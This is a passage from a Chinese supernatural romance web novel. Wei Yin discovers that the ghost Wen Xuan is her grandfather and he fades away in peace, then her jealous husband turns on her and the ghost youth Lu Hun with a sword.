俊美青年将这最后一句诅咒出口,匕首已然深深插进了他的胸口,而青年漂亮的凤眸死不瞑目圆睁着,再一看,他身上的血肉几乎所剩无几,原本修长俊逸的身子,也变得一片血肉糜烂,剩下一副骨架子。 不知他是抱着怎样的怨恨,忍着一身千刀万剐的伤痛,一步步爬到这里来的。 无人敢想象。 即使魏姻已经亲眼目睹了一遍,都无法想象。 这一夜之间,文家最后一辈的所有人,全部死尽。 原来是他们不愿再被这个大宅子的一家之主掌控一生。 选择了以死结束自己生命。 魏姻连忙抓紧了陆魂方巾上的飘带。 …… 文轩起身了,他身上的血肉在开始慢慢被一团团的黑雾所包裹,黑雾将他的血肉重新填满。 他又变回了那个修长漂亮的青年。 文轩凝视住魏姻,面容平静地诉说道:“锦年,我当年立下毒誓死去后,没有想到还能见你一面,这宅子是个极好的风水吉地,是文家祖上好不容易寻到的,有养气聚魂之力,我的命格全木,又恰好死在了木年木月木日木时,让我得以借助这个宅子,化为鬼,可是,文竹他们却彻底消失了,他们连鬼都成不了,整个宅子里,只剩下我一个人了。” 魏姻静静听他说。 文轩抬头望天,“我想他们的时候,偶尔会幻化出他们的模样,与他们说说话,他们都是我根据他们生前幻化出来,几乎和生前一模一样,可是我知道,那都是假的,他们早死了。” 魏姻问:“那绿荷呢,她后来怎么样了?” “还是傻傻的,后来得了病,也死了,好在她这一生什么都不知道。”文轩顿住,“不过孩子死后,她似乎变得没有以前那样开心了……这个宅子里,只剩下我了,也只有我还记得他们了……” “谁说的,大哥。” 苍老的百岁老人慢慢拄着拐杖走了过来,是裴老。 魏姻听到裴老喊文轩大哥,没反应过来。 文轩苍凉神情,在看到他后,略退去一些,轻声唤道:“二弟。” 魏姻惊讶住了。 裴老笑呵呵地转向魏姻和陆魂,对他们俩道:“是,我就是文朗,字子裴,当年从文家逃走后,我便改姓裴了。” 陆魂望着他,“难怪老先生你一定要住在这个宅子里,却一点事都没有,你就是以前文家的二公子。” 裴老幽幽叹息道:“年轻时,我离开文家后是再也不愿回来了,我讨厌这个让人窒息的家,后来,我听说了大哥他们都死了,更是不想再回荒州一步,直到晚年,我总是想起和大家在这个家的日子,想和大家死在一起,就回来了,可没有想到,只有大哥还在,还变成了鬼……” 裴老说着,垂下眼泪。 文轩抬手擦着弟弟的眼泪,“二弟。” 裴老哽咽:“大哥。” 两兄弟,相隔八九十年,再见面。 哥哥已自剜于腐朽宅子里,依旧青年俊逸模样。 弟弟则出入军中、朝堂,直到满头白发苍苍,身上皱得跟树皮一样,才落叶回乡。 而哥哥,却还在低头为弟弟擦着泪水。 文轩一面擦,一面笑,“二弟,你莫要哭,现在你回来了,祖父不在,锦年如今也在,我们几个终于可以团聚了,你该高兴才是。” 裴老望向文轩,扶住他的肩头稳住颤颤巍巍的老迈身体,劝说道:“大哥,魏姻不是锦年,如果她是,她不可能对你们之间的事一点触动都没有,你不要执着了,让这两个孩子走吧。” 文轩闻言,脸上温情微退,“不,我这一生什么都一塌糊涂,只剩下锦年,如今我终于见到了她,我要锦年。” “大哥!” “不要多说了,二弟!”文轩不肯听,“生前我什么都做不了主,如今,我终于可以做我想做的事了,二弟不要拦我。” 陆魂见状,将破军剑抽出,挡在魏姻的身前。 裴老拉住文轩,还想要劝说,裴老如今年纪大了,文轩不敢对他怎么样,只将他控在了原地不动,转身来找魏姻。 陆魂提剑直指文轩,“魏姐姐,你先走,我拦住他。” 魏姻很担心他对付不住文轩,会被文轩给伤了,然而陆魂向来柔和的语气变得很冷,只说了个“走”字。 那头,被控住动不了的裴老立即对魏姻催促,“快走孩子,大哥当年剜血肉而死,血肉魂灵已经与这个宅子相连了,在这里面你们是拿他没有办法的,但一旦出了这个宅子,他就很难长时间呆在外头,快离开这里!” 魏姻闻言这才果断转身。 文轩听到裴老将这事径自说了出来,气得面容难看。 可他拿裴老没有办法,只能去追,然而他刚动,一柄剑刃就抵在了他的面前。 陆魂安静看着他。 文轩怒容满面。 第53章 魏姻从文轩那边逃开,急急忙忙地往大宅门口跑去,当年的事已经全部结束,文轩的制造出来的幻境消失掉了,整座宅子重新变得荒凉陈旧起来,再看不到文竹文琴等人的身影。 她看了一眼这座大宅子,这里埋葬了文家所有后辈,此时此刻,祠堂那头,有刀光剑影,大约是陆魂在和文轩对打。 魏姻怕文轩追来,不敢多留,急急走到门上,吩咐贺家的马夫,“快将马车牵来,我们回府。” 马夫疑惑怎么是她一个人回去,公子不是还在这里么?可他没敢问,连忙去备车。 魏姻此刻也顾不得贺文卿还在这了,文轩对他又没有什么兴趣,她只担心陆魂打不过文轩,毕竟文轩是将近化希级别的老鬼了。 马车回到贺家,魏姻连忙下车,她回头望望,身后并无什么人追过来,她这才略松了口气。 谁知,人刚刚走入通向她院子的甬道时,就见夜空下,一个白色身影拦在了面前,魏姻没有走近,但瞧着对方高大的身量,便发现了是文轩。 他怎么这么快? 陆魂呢? 他把陆魂怎么样了? 魏姻下一刻,转身想跑,然而文轩的声音就从身后轻轻传了过来,“锦年,你走了,难道不管姓陆那孩子的死活了?” 闻言,魏姻无法再拔腿,她紧张地问:“你把陆魂怎么了?” “那就要看你的了。”文轩微笑着,朝魏姻招手:“锦年,过来,到我这来。” 魏姻有点绷不住了,文轩一辈子活得凄苦,与锦年又成遗憾,二十来岁的年纪便死去了,他自然执拗地不肯放过跟锦年长得一模一样的魏姻。 见她x不肯动,文轩叹口气,“你实在想走也可以,我不拦你,锦年,但你走了,陆家那孩子就会彻底消失于世。” 魏姻正想抬起的脚步,被文轩后面半句话硬生生给扯住了,她脑中浮现出以前在学堂的那个寡默少年人。 记得在河庄再次见到陆魂的时候。 他将她从阿珠手里救下来,少年性子阴郁少言,虽然没说什么安慰她的话,却怕她被河水冷着身子,默默地抱来柴火让她取暖。 后来。 他为让迷失的她从阿珠记忆里出去,又一直划破手心带她去看很多灯。 最终,魏姻没有忍心走,她选择了朝文轩一步步走去。 近了些,她看清了文轩衣袍上沾染着许多黑色的血迹,却分不清楚究竟是他的还是陆魂的,或许都有,她只觉心里一沉,怕陆魂受了重伤。 文轩两眼定定地望着她的面容,恍若隔世再见,满眼湿润。 魏姻被看得很不舒服,侧过头去,问他:“陆魂呢?你把他怎么样了?” 文轩一愣,“你很在意那孩子?” 魏姻瞪他。 文轩看着她这神情,突然苦笑起来,“锦年是个温婉的性子,从来不会这样瞪我的,你和她的性子确实很不一样。” “所以我都说了。”魏姻抓住了机会,“我根本不是锦年。” “没事。”文轩无所谓笑了,“不在文家长大,性子自然也是不同的。” 魏姻一时不知该说什么好,不管她说什么,反正他都会认定她是锦年,还会自个替她添补。 文轩见她不太高兴了,才道:“你收拾衣物,与我回去,我便不会再跟那孩子为难。” 魏姻傻眼,“跟你回去?那怎么行,我已经是成了婚的人了。” “那有什么。”文轩毫不在意,“你那状元郎夫君,听说也另外娶了他的表妹,锦年,他还不如陆家那孩子,你何必管他呢?” 魏姻彻底没什么话说了。 她只能和文轩回到自己房里收拾衣物。 可就在这时,一阵风吹过,同样一身是血的提剑少年径自破门而入。 “陆魂!”魏姻惊讶叫道。 文轩皱眉,“你这孩子,这么快就追上来了,又是直接用血来破我屏障的?” 魏姻听到这话,才明白过来陆魂还没有落在他手里,只是牵制住了陆魂。 她立刻要放下手里衣物。 文轩知晓她想走,紧紧攥住她的手腕,不许她去陆魂那。 陆魂向来淡然的眸子,变得冷沉起来,果断将剑指向文轩。 “放开她。” 文轩毫不示弱,身上的黑雾往陆魂身上缠绕过去。 陆魂不断用破军挥开。 文轩见状,也干脆用黑雾凝聚成一把黑剑来,握着剑与陆魂缠打在一起,陆魂的剑势愈发凌厉起来,每挥出一剑如裂帛之声,但文轩到底已经成鬼将近百年了,即使陆魂再下狠力,他也明显渐渐变得弱势起来。 况且,他才刚刚化聻而已。 陆魂再一次用剑抵住文轩攻势,一口黑血从嘴角逼下来时。 他闭了闭眼,竟然直接伸手逼出自己的元神。 文轩看见,皱眉:“你这孩子疯了,竟然又想用自己元神注入破军跟我打?” 魏姻刚开始,看陆魂手里逼出一团东西来,不知道是元神,正小心看着,听到文轩一说,她人都吓傻了,厉声阻止他。 “陆魂,你这是干什么?不许用自己的元神,听到没有?” 陆魂听到魏姻的呵斥声,心虚地低了低头,可他却完全没有要停下来的动作。 魏姻没有想到,陆魂为了从文轩手里救她,这样不惜代价,她内心震撼,见他竟然不顾一切,完全不理会她的话,彻底急了,她再也顾不得什么,扔下衣物朝着陆魂扑过去。 衣物掉了一地,魏姻母亲的那个毽子也落了出来,掉在文轩脚边。 文轩低头,当看见毽子时,眸光一怔。 魏姻没有注意到,她只顾着扑到陆魂身上,两手死死抓住他托着元神的那只手,她恼怒瞪着这少年。 “你不听我的话了?不是都说了,不许这样么?” 陆魂任由她骂着,不曾言语,他只是睁着眼静静看了她一会儿,仿佛要将她整个人都深深印在心里,他的眼角带着浓重的悲戚,仿若当年他在菩萨庙里上吊自缢前的那一眼,片刻后,他第一次猛地将她给甩开,果断将元神往破军剑注去。 可对面。 却传来了哐当一声。 只见文轩哐当将黑雾化成的黑剑扔了,剑落在地上,重新消散成雾气。 而文轩却怔然弯腰捡起了脚边的毽子。 陆魂的手一顿。 敌人忽然不跟他打了。 魏姻顾不得理会文轩什么情况,赶紧又爬起来抱住陆魂的手,被陆魂刚才一推,差点看他元神没了,魏姻此刻已经气得胃都疼了,朝着少年的头用力拍了一下。 “陆魂,你居然推我。” 陆魂低下头去,任由她打。 魏姻打了两下,看他嘴角身上都是血,大约是受了许多伤,她不敢再打他了,从怀里拿出手帕,捏住他的脸,给他擦嘴角的血。 陆魂任由她怎么着,即使脸被捏了起来,却也不敢抬眼看她。 魏姻冷冷看他睫毛覆盖住的眼眸。 他睫毛一颤一颤的。 好像一副想看她的脸色,却又不敢看的模样。 魏姻给他擦完,就将帕子扔到他怀里,不再管他,往文轩那边看。 文轩紧紧握住毽子,情绪看起来分外激动。 魏姻感到一阵奇怪…… 与此同时,裴老拄着个拐杖,也从文家宅子那边珊珊赶来,本来着急万分,以为里头已经打得不可开交,可却发现屋里头一片安静,而他的大哥文轩,却抱着一个毽子出神,裴老呆了下,可当望见那个毽子模样,也惊讶地张了张口。 文轩过了好久才回过神来,颤抖着问魏姻,“你……你这个毽子,是谁给你的,哪里来的?” 魏姻一头雾水。 裴老则激动地赶忙说道:“这是锦年的毽子,是当年大哥亲手做给锦年的,后来锦年有了身孕,被祖父送去山中别院养胎,这个毽子也被锦年带过去了,是准备等孩子生下来,给孩子玩的。” 魏姻愣愣道:“这……这毽子是我母亲给我的,母亲跟我说,这是外祖母的东西。” 魏姻这个时候,突然想起了幼年的一段记忆。 那是她的外祖母的。 她那个时候才四五岁的年纪,记事不多,偶尔她随母亲回去,便会见着年迈的外祖母常常会拿着一个毽子看得出神。 “你外祖母?”文轩迷惘,“她怎么会有锦年的东西?” “对了。”裴老猛地一拍脑门,说道:“我想起来了,魏姻的外祖母我记得的,我和魏姻的外祖父从前还有过两分交情,他先头夫人早早没了,后来是续娶的,也就是魏姻的外祖母,我年轻时,还记得听魏姻外祖父说过,新娶的夫人是他从外头救下的,莫非……” 魏姻顿住,想起来了,“我母亲说过,外祖母是外祖父从狼口救下来的,外祖母当时还怀着母亲。” 裴老惊愕不已,“好像确实是这样说的,锦年当年,没有葬身狼口,而是被人救下来了?” 文轩捧着毽子直发愣,跟着,才颤颤朝魏姻问道:“那……那你的外祖母……她还在世么?” 魏姻摇了摇头,“在我很小时候,便去世了。” 裴老叹口气,怜悯看向文轩,“大哥,不成想,当年锦年竟还活在世上,还生下了魏姻母亲。” 文轩转过头,怔怔注视着魏姻,“难怪,难怪,你长得那样像锦年,身上会有锦年的气息,原来你是我和锦年的血脉……” 魏姻同样没恍过来。 文轩闭上了眼睛,双肩往下,软软靠坐在墙边,有气无力地道:“二弟,你们都出去吧,让我一个人想想。” 第54章 魏姻立在房外的廊下,文轩独自呆在房中,魏姻远远地朝里头望上一眼,文轩靠坐在原地分毫不动,低首捧住毽子出神地看。 小时候,魏姻看到外祖母也和文轩一样,总是这样捧起毽子看。 她记事时,外祖母已经是一副衰老老媪的模样,她不知道外祖母年轻时究竟是什么样的,而外祖母也从未跟任何人提起过以前的一点事,连母亲也不知晓自己的生父是谁。 但魏姻听说过,外祖母嫁给外祖父后,学会了骑马,学会了射箭,年轻时也常随着外祖父外出,据说去过不少名山大川看过。 外祖母和外祖父一生生育过好几个儿女。 可她最疼爱x的还是母亲。 自小就教母亲许多东西,很少会像别的父母一样,拘着母亲在家做女红,因此将母亲养得格外大胆刚烈,不顾一切要与父亲在一起。 以前魏姻不明白,现在魏姻知道了,外祖母就是当年没有死的锦年。 文家所有人一夜之间死去后,锦年以为文轩也不在于世了。 却没有想到,文轩化成了鬼,一直待在文家老宅里。 而文轩也没有想到,锦年没有死。 “如果早些年知道。”裴老老眼婆娑流着泪,说道:“大哥兴许还能与锦年表妹见上一面,可他现在才知道,锦年一直活到寿终正寝。” 无声。 秋风簌簌吹落树叶。 卷起一些在房檐上面。 房里的文轩似乎慢慢回过神来了,招手将魏姻单独给叫了进去。 魏姻看到他的神色不太好,一副所有力气都被抽干了样子,文轩也不曾站起来,仍旧靠坐墙边。 他抬头深深打量了一眼魏姻的面容,轻声开口:“你和锦年长得很像,但你的样貌更美些。” 魏姻想起来了,道:“之前我记得外祖母对我说过,说母亲更像她,而我倒是遗传了母亲生父的容色,说母亲生父是她见过最好看的男子。” 文轩一怔,脸色显得几分羞赧,他是个内敛的人,最多只愿意当着锦年的面大胆些,然而被这么大一个“外孙女”夸容貌,颇有些不自然。 想到他竟将当年和锦年那些亲密事,都全让她看见了。 更是忍不住一阵脸热起来。 文轩咳了声,尽力挽回一点作为“外祖父”的尊严,忙道:“那你母亲呢?她……我可能见见她?” 魏姻回道:“母亲早已去了。” 文轩呼吸凛住,垂下眼泪:“这孩子,竟如此短寿,我还从未……抱过这孩子。” 魏姻没言语。 文轩又问了些关于锦年后来的事,魏姻将其一一如实相告,文轩听到锦年嫁人,做了许多以前在文家无法做的事,且儿孙满堂寿终正寝后,他沉默了很久很久很久。 仿若整个世间都安静了下来。 沉默过后,文轩却嘴角含笑道:“很好,这样很好,她这一生能如此过完,是我当年一直所盼望的。” 他转过脸。 一滴眼泪从眼睑滑下去。 可如果是他能陪着锦年过完这样的一生,那就更好了。 但这是奢望。 这样已经很好了。 魏姻看不到他在流泪,只能见到他的背影多少显得些许落寞,文轩没再多言,只说自己累了,没有力气,让魏姻准备一辆马车送他回文家。 魏姻知道了这青年是母亲的生父,自己的亲外祖父,也就不害怕他会怎么样了,去让人备车。 文轩又叫住她,“把陆家那孩子喊进来吧,他和我打得元神受损,这百年我也学会了些医鬼的法子,我替他将伤疗疗。” 魏姻立刻去外面叫陆魂了,他一个人呆呆坐在回廊下面不说话,也不动,直到魏姻去喊他,他才轻轻抬头看她一眼。 魏姻还有些气他不顾一切用自己元神来打架,只淡淡把文轩的话说了,便不再理会他,转身走了。 陆魂盯了她的背影一会儿,抿了抿唇,这一抿,嘴角身上的伤都被牵动了,他没什么五感,一般自然不怕疼的,但元神被伤,他感觉到痛了。 忍一忍,他才去见文轩。 文轩让他在榻上坐下,自己则站在了陆魂身后,运气替陆魂疗伤。 陆魂低着头,乖顺坐住。 文轩则打量起这个十六岁的孩子,面容清秀,眉骨很高,是个很端正秀丽的孩子,据说生前十六岁就考中了举人,这般年轻就有功名,鲜少有见的,若是还活着,定然前程光明,将来入阁做大学士都未尝不是不可能的。 可却十六岁自尽了。 陆魂没有抬头,依稀能够感觉到文轩在打量他,他并不在意,依旧垂眸不语。 见陆魂沉静,文轩忽然开口,“孩子,你是喜欢姻儿?” 陆魂顿了顿,没回应。 “其实只要姻儿她愿意,倒也不错,你比她那个郎君,好得多。”文轩话锋一转,还是将话说了出来,“但孩子,你已经不是人了,人鬼殊途,阴阳相隔,是不合适的,你不该再待在她的身边的。” 陆魂闻言,并无太大的情绪波动,保持沉默着。 “听我的吧,孩子。”文轩叹息:“我看得出来,你不会害她,所以我也不会出手逼你,但你应该心里明白,鬼是没法和人在一起的,有违天道。” 陆魂终于有了一些反应,背脊轻颤一下,再次沉默了片刻,才淡声开口:“我知道,前辈,等那件事情结束,我便会离开的,彻底离开。” 文轩皱眉:“那件事?” 陆魂却无论如何也不肯再开口了。 他闭上了眼睛。 面上是一片阴郁。 文轩见状,不好再问下去。 两人间的对话,再无旁人知道。 马车备好了,文轩在给陆魂疗伤后,更显得有气无力,走路都快没力气了,但魏姻感觉到,他不是因为身体,而是知道了锦年活着,后来却发现她又死了,而带走了他的心力。 裴老一把年纪,自己都还要拄着拐。 魏姻只得上前扶住自己这个样貌依旧年轻的“外祖父”,送他回文家。 她没敢安排马夫。 陆魂赶车。 在马车里,文轩又问了一些关于锦年和母亲的事,魏姻说了,文轩每次听完,都会沉默好久,而听到母亲幼年的一些事,又总会轻轻笑一下,可随之而来的,仍是好长一阵无声默静。 文家。 整做宅院都处在了黑暗之下。 那个百年前腐朽而压抑的大宅子,变成了陈旧的空宅,文轩这一辈人死后,文家应了文轩的诅咒,慢慢地败落下来,从此,文家在荒州消失了,只剩下这座空宅子摆在这里,让人知道,曾经还有过这么一个姓文的大家族。 文轩不再让人扶着他,他自己扶着车慢慢走下去,往宅子里面而去。 裴老拄着拐杖,同样一脸深沉地凝视住这座宅院。 文轩来到了曾经的新房。 新房已然败落,除了几间空屋子,其他什么都没有了。 当年住在这里的那个傻姑娘绿荷。 也早已消失于人世,再没有她的存在。 也没有人有轮回。 他们都变成了天地间的一草一木。 文轩站在新房里,目光往外,好像从这个新房,一点点将整座宅子都看了一遍,最后,他笑了一下,对着站在门外的裴老说。 “二弟,我要去陪他们了。” 裴老闭上了眼睛。 活到他这把年纪,历经百年岁月。 很多事情都看透了。 所以即使他看到了文轩眼底下的悲伤和解脱,也没有出声阻止,只笑道:“好,大哥,你去吧,这一生,你太累了,等文朗寿终正寝之后,文朗也来陪你们。” “好,二弟。” 文轩笑了,伸手摸过墙壁,笑着对什么人说话一样。 满足,而又安详。 “锦年、文竹、文琴、绿荷、五弟,我来了。” 话音落下,他抚摸墙壁的手,逐渐变成黑雾,然后消散。 魏姻惊叫道:“外祖父!” 裴老用拐杖拦挡在她的身前,口吻异常冷静,“你该高兴的,外孙侄女,大哥这一辈子彻底解脱了。” 文轩转过头,看向魏姻,嘴角含着泪水的笑。 这个青年,即使彻底消失于世,他依旧是身子颀长,眉目俊美异常,眼角微微的泛红,跟春日桃花一样绽放开,如此容貌漂亮的青年,连这一刻都是瑰丽的。 最后一眼,文轩是望着文朗,和魏姻的。 直到,他的脸,也开始消散。 陆魂站在一旁,出神望住缓慢消散在眼前的文轩,他低头看了看自己的手,阴郁。 那年,他自尽于菩萨庙。 心境与文轩此刻,也不过如此。 文轩彻底消失后,裴老依旧平静拄拐转身。 魏姻在新房门口张望了好一会儿,她转头,看到陆魂也没走,一直气虚站在身旁陪着她,门口风大,吹得他衣诀簌簌响,她愣了下,喊他,“走吧,你的伤还没有好。” 陆魂听到她的声音,刚才眼中的阴郁消散开些,立刻小心跟上去- 天亮了。 贺文卿立在裴老书房,揉着酒醉过后的脑袋闭眼缓神,而他对于新房那边发生的事情一无所知。 他方才去叫魏姻起身,回府,谁知道,这里的下人却说,魏姻早已带着马夫回去了。 他心念一转,去陆魂房中看了眼。 陆魂竟也不在。 魏姻这是带着她的表弟回府了,而却将他这个醉酒郎君丢在了这里? 贺文卿不禁在心底里冷笑一声。 来到裴老这里,让裴老替他安排车马回去。 他等了片刻,终于听到门外响起了脚步声,裴老拄拐走了进x来,但跟在裴老身后一同进来的,却还有魏姻与陆魂。 第55章 魏姻走在前头,在她身后半拳距离处,是低首垂眸紧跟着她身侧走进来的十六岁少年,贺文卿眼睛瞬间眯了起来。 梦里,陆魂衣物半褪,上身赤着,覆身在魏姻身上,而魏姻面容潮红羞窘的一幕再次不受控制浮现眼前。 魏姻根本没有想到贺文卿会出现在这里,猝不及防。 贺文卿看她竟仍愣愣地与陆魂站在一处没反应,眼眸眯得更厉害了些,可碍于裴老还在场,他强行压下了积压的不悦,没理会,向裴老道:“昨夜学生喝多了,让老师费心照料了,改日来向老师赔礼。” 文轩刚消失,裴老当下情绪不高,淡淡应付了两句,便让他回府去。 贺文卿恭敬告退,裴老另外派了个马夫为他们赶车回贺家。 马车里,魏姻与贺文卿坐在一处,陆魂则独自寡坐于一旁。 离得近了,贺文卿这才第一次看真切陆魂的面容,半大的少年,身量尤其长得高,少年背脊坐得笔直,什么也不看,只低头轻轻用手指挠着自己的手心,那只手心里,全是纵横交错的疤痕。 这时候,他身旁的魏姻忽然开口了,倾过身去捏了捏少年手,皱眉道:“再挠伤口又要被你挠开了。” 陆魂抬头看她一眼,很快又垂下。 但他很快乖乖收住了手,没有再去挠。 贺文卿不动声色将这一切尽收眼底,看得脸色越发沉。 到了贺府,陆魂没有再打搅他们夫妻两个,默默地下了车,回了他自己的房中去,魏姻则与贺文卿回房歇息。 魏姻去了沐浴卸头发。 贺文卿在房中坐着。 房中的横屏上,还随手搭着魏姻方才脱下来的裘衣。 他盯着裘衣,眸光微顿。 跟着,他从床榻上起身,走到横屏旁,捞起魏姻的裘衣嗅了嗅。 上面槐花味道若有若无。 贺文卿抓着裘衣的手一紧,手背上青筋凸出。 过了片刻,他重新冷静下来,一个槐花说明不了什么。 可贺文卿一闭上眼。 魏姻与陆魂的那一幕又出来了。 女人羞窘潮红的娇容。 一手还搭在少年的脖颈上。 贺文卿甚至还能记得少年看红了的眼,和压抑不住的粗气。 魏姻是个怎样娇媚的妻子,这一点,他贺文卿比任何男人都更了解,更目睹过,情到深处,她的声音能碎到任何男人都不可能想放过她。 贺文卿实在是无法忘怀。 他从未想过,他这样的妻子,会如此模样出现在其他男人怀中,即使是一个梦,自傲如他,也绝不会允许。 他用力按住眉心。 魏姻回来时,发现贺文卿已经上床盖住了被褥,闭上了眼在里侧,她没有意料到,贺文卿不但记得文家发生的一切,而且还对某些事记得格外清晰。 她累得很,也掀开被褥睡了。 魏姻很快熟睡过去。 殊不知。 在她睡着后,均匀呼吸传出后,里侧早已睡着的男人猛然睁开了眼眸,他坐起身,凝视住魏姻的脸。 她刚洗完澡,身上只穿着轻薄的丝绸寝衣,她皮肤白,碰了热水后,更是粉白一片。 贺文卿黑着眼,思虑了许久。 最终,他还是伸出了手,将女人的衣襟拉开一些。 魏姻睡得熟,虽不太喜欢别人在睡觉时碰她,但只是皱了皱眉,没睡醒来骂人。 她的衣襟慢慢在贺文卿的眼前露开。 只见女人白皙修长的脖颈上,有着几点印记,印记刚开始应该是泛着红的,但如今已经变得青紫了,可见多用力。 贺文卿却看得,整个脸都彻底冷沉了下来。 他从回荒州之后,就再也没有碰过魏姻了。 既然不是他,那是谁? 一个身影,在他眼前呼之欲出了。 他们两个,究竟是什么时候开始的?! 贺文卿眼神黑沉得厉害,衣襟也没给她系回去,任由敞着。 他大步走了出去,喊来人吩咐,“去,看府里有没有少夫人娘家那边陪嫁过来的婆子什么,年纪大些的,将人给我带过来。” 下人被喜怒不形于色的贺文卿这副震怒的模样给吓坏了,逃也似的去了。 大概半个时辰。 下人才回来,带回来一个老妇。 说是后院做粗使活计的。 老妇看到姑爷,颤颤巍巍,不知何事。 贺文卿此刻略恢复了一些情绪,问:“您在魏家多久了?” “老婆子有……有三四十年了……” “你可知晓,少夫人出阁前,娘家那边有什么与她交好的表弟,且是姓陆的表兄弟?” “姓陆的?”那婆子颤巍巍赶紧摇头,“不说魏家,就是少夫人外祖那边,都没有听说过有姓陆的,况且来往的表堂兄弟们,也就只有几位罢了,别的大多疏远没什么往来,哪里来的姓陆的表兄弟呢?” 贺文卿再也忍不住,冷笑了起来。 好一个表弟! 好一个表弟!- 在睡梦中,魏姻感觉到脖颈间一直有冷风灌进来,可她睡得太熟了,实在不愿意醒来,睡了不知多长时间,她到底还是受不住了,将眼睛睁开来。 蓦然被身前的一道黑沉身影给惊了下。 而后才认出,这是贺文卿。 只见贺文卿不知何时起了身,衣着整齐地坐在了床沿边上,背影冷冷沉沉的,也不发一言,就那样面无情绪地坐着不动。 魏姻还没来得及出声,贺文卿已经开了口。 “醒了?” 魏姻怔怔望向他。 贺文卿微微低了低头,魏姻才看清楚他眼里的冷厉,下一刻,就见贺文卿伸手摸向了她的脖颈,指腹更是重重地压在了她那些印子上。 “魏姻,你跟我说说,你颈子上的东西是怎么来的?嗯?” 魏姻睡懵了,刚开始还没怎么反应过来,等到男人用力按在脖颈上,才瞬间想起来。 那还是之前,陆魂变成文轩时亲出来的。 贺文卿注意到了。 魏姻自然不能实话实说了,可一下又不知道该怎么解释搪塞才好。 “混账!” 贺文卿只当她是被揭穿,无话可说了,瞬间脖子的青筋都暴怒出来了,他死死一把拽住魏姻手腕。 “你这个女人,是想把我贺文卿当个王八耍弄是么?那个碰你的人,就是陆魂对么?” “陆魂?”魏姻更不能承认了,她清楚贺文卿的脾性,在他面前越是心虚越是让他气焰高涨,她干脆反咬一口,“贺文卿,你胡说八道什么混账话?!陆魂那是我表弟,你把我们当成什么人了?我知道,你如今有了宣华表妹,看我越发不放在眼里了,这可倒好,连带陆表弟也一起污蔑,贺文卿!人家到底是读书人家,你说话怎能如此不知分寸呢?” 贺文卿本已怒上脑门了。 此刻听到魏姻这一番理直气壮的话,几乎又给气笑起来。 “表弟?好一个表弟?你魏家什么时候有了个姓陆的表亲?可要我给岳父去封信问问呢?” 话已至此。 魏姻哪还不明白。 贺文卿什么都知道了。 他知道了陆魂不是她的表弟。 “嗯?”贺文卿将她往身前一拉,低下头去,玩味捏起她的下巴,用指尖擦过她的嘴,“怎么不继续顶我了?嗯?你这张嘴方才不是还振振有词么?” 魏姻眼睑垂了垂。 贺文卿越是如此,越是震怒。 贺文卿冷冷盯了她半天,见她久久不言语,轻轻地笑出了声,“魏姻,你很好,你可真好,没想到,我贺文卿,堂堂状元郎,竟被你们两个狗男女给耍成他妈的狗王八了!” 这是魏姻第一次。 听到,这个男人粗鲁说话。 然而接着,贺文卿已经冷冷从她身上收回了手,大步出去,从他书房里,拔出一把佩剑,径自就往陆魂那边而去。 魏姻吓一跳,没想到贺文卿会直接动手。 陈宣华听到了一点动静,以为他们夫妻在拌嘴,并不敢随便现身搅扰,直到见到贺文卿拿着佩剑脸色黑沉匆匆走出去,才瞬间醒过神来。 她连忙和魏姻一同追过去- 风声吹过,南窗大开。 而在敞开的南窗下,陆魂的身影静静站在那儿注视窗外的红黄秋木,今日风比较大,吹得他衣角摆来摆去的,方巾上的飘带也高高扬起。 他下意识伸手,用手指勾住飘带缠在手上。 魏姻平时,很喜欢勾他方巾飘带缠在手指上玩。 他望x着望着,听到了院外有什么动静。 陆魂以为是丫鬟照常来送吃食,他也就没理会,丫鬟会将东西送到廊下,等她走了,他才会去拿进来。 他不会饿,可吃食会让他恢复些气力。 可这次,丫鬟竟然没有在门廊下停下来,往屋里继续走进来,陆魂迟疑转过头去看,却见进来的根本不是丫鬟,而是手拿佩剑的贺文卿。 贺文卿面色阴沉吓人。 陆魂蹙蹙眉宇,松开了飘带。 剑尖。 转瞬指在了陆魂喉间。 陆魂怔愣望向贺文卿。 然而紧跟着,魏姻与陈宣华也闯了进来,魏姻更是径自来到了陆魂身前,将他朝旁边拉。 陈宣华则慌得赶紧抱住贺文卿,“郎君,你这是怎么了?!你宿醉疯头了不成,怎么拿剑指着姐姐表弟?!” 贺文卿没好当着陈宣华的面说出魏姻和陆魂的事,只将陈宣华狠狠往外一推,跟着吩咐下人道:“把宣华夫人带出去,任何人都不许进来!” 下人虽然吓得胆战心惊,不敢耽误,连忙去拽陈宣华。 整个房里,只剩下了他们三人。 贺文卿看魏姻挡在陆魂身边,怒意更是无法平息下来,他过来要拽魏姻过去。 陆魂见贺文卿脸色不对,连忙上前一挡,护在魏姻身前。 第56章 贺文卿望着陆魂将他的妻护在身后,一向克制不见喜怒的他愤怒到双目直冒火,他几乎要将剑柄给生生握断了。 压抑怒意道:“魏姻,给我过来。” 魏姻眼见贺文卿的剑都指到了陆魂脸上,陆魂才受了重伤,身子虚弱,她更不敢挪开半步,无奈解释道:“郎君,你先冷静一些,事情不是你想的那样。” “不是那样,还能是哪样?”贺文卿感到异常耻辱,“能有什么逼不得已,让你说他是你的表弟?让他都亲到了你的颈子上?难道非得让我见着你们两个衣不蔽体缠在一起才算?” 陆魂听到这里,彻底明白过来,他羞愧抿了抿唇。 她的郎君知道了…… 什么都知道了…… 陆魂愣神间,剑刃已经猝不及防刺向了他,他连忙攥住魏姻的手往一旁挪了挪,然而贺文卿见到他们握住的手,更是怒上心头,最后一丝理智彻底消失不见,像疯了一样接二连三朝着陆魂门面狠辣挥去。 陆魂羞愧自己对人家妻子有龌龊心思,不敢对贺文卿使用鬼术,只得凭着本能躲避剑刃,他又怕剑刃会误伤到魏姻,并不敢后退,挡在魏姻身前,加之重伤未愈,因此避得极其吃力,没一会儿,便听到划拉两声,他的衣袖被划开,手臂见了血。 陆魂立即捂住手臂,以防贺文卿看到流出来的黑血。 魏姻望着脸色越来越虚弱的少年,少年却始终逆来顺受任由贺文卿砍着。 少年其实没有错。 是他变成文轩后无意识亲的她。 魏姻终于看不下去了,挺身挡在陆魂面前,瞪住贺文卿,“郎君,你若实在气愤,便冲我来吧,陆魂他什么都不知道,你别为难他。” 贺文卿听在耳里,心中一片阴翳。 他的妻子为了另外一个男人,不惜以身挡剑,她往日是最怕疼的,便是磕着碰着了一点,都会受不住,如今…… 巨大的愤怒之下。 他生出些嫉妒来…… 恨不得,一剑刺穿陆魂的心脏。 然后,拧住她的头,逼她亲眼看着这个人死才好! 贺文卿红起眼眶将剑猛地指向了她。 魏姻毫不畏惧地迎视他。 